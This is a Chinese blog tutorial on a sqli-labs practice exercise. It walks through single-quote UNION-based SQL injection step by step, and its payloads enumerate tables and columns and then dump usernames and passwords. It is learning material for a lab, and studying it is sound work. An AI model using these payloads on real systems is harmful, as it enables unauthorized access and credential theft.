标签：group 23 -- 学习 union concat SQL id select

@

• sql注入常见攻击思路
• 常见流程

使用靶场为sqli靶场
例题为GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

sql注入常见攻击思路

　　1：寻找到SQL注入的位置

　　2：判断服务器类型和后台数据库类型

　　3：针对不同的服务器和数据库特点进行SQL注入攻击

常见流程

1. 首先判断sql语句闭合方式

常见的闭合方式：
id = 'input_id'
id = ('input_id')
id = "input_id"
id = ("input_id")

判断方法：
使用'或者"来进行判断，如果输入?id=1'报错，那就是单引号闭合，"类似。

如上图，'报错。

2. 判断回显列数
   使用order by子句判断返回的列数。
   ?id=1' order by 5 %23

%23是#的url编码，用来注释掉另一个'
order by 5发现报错
继续尝试
发现order by 3正常

3. 判断返回格式：

id=-1' union select 1,2,3 %23

发现2和3被回显。

知道返回的列名之后，就可以执行后继的操作和查询各种数据了。

例如user()查询用户名，detabase()查询当前的数据库名，version()查询数据库版本

id=-1' union select 1,database(),version() %23

4. 查询出当前数据库所有的表名

id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

其中group_concat()是用来把数据在一行中打印出来。
information_schema是mysql特有的库，存储各种数据库的信息

5. 注入出某一个表中的全部列名
   id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='user') %23

6. 获得字段内容

id=-1' union select 1,2,(select group_concat(Password) from users) %23

id=-1' union select 1,2,(select group_concat(username) from users) %23

标签：group,23,--,学习,union,concat,SQL,id,select
来源： https://www.cnblogs.com/Ck-0ff/p/15815533.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。